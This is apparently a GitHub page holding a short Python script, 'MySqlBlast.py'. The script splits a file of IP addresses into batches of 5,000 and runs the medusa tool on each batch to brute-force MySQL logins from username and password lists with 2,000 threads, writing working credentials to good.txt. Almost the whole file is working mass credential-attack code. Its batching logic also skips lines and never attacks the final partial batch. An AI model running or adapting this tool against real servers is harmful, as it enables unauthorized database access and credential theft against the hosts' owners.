-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathMySqlBlast.py
48 lines (36 loc) · 1.13 KB
/
MySqlBlast.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python
#coding:utf-8
import os
import subprocess
def Segmentation(): #分割txt
try:
with open("ips.txt",'r') as file:
i=0
j=0
for ips in file:
if i<=5000:
f=open("iplist"+str(j)+".txt",'a+')
f.write(ips)
i+=1
else:
Blast("iplist"+str(j)+".txt")
i=0
j+=1
except IOError:
print("Check if ips.txt exists !")
def Blast(fileNames):#爆破
subprocess.call("medusa -H "+fileNames+" -U user.txt -P pass.txt -M mysql -T 2000 -O good.txt", shell=True)
os.remove(fileNames)
print(u"Blasting has been completed")
def run():
print("""
__ ___ _____ __ ____ __ __
/ |/ /_ __/ ___/____ _/ / / __ )/ /___ ______/ /_
/ /|_/ / / / /\__ \/ __ `/ / / __ / / __ `/ ___/ __/
/ / / / /_/ /___/ / /_/ / / / /_/ / / /_/ (__ ) /_
/_/ /_/\__, //____/\__, /_/ /_____/_/\__,_/____/\__/
/____/ /_/
""")
Segmentation()
if __name__ == '__main__':
run()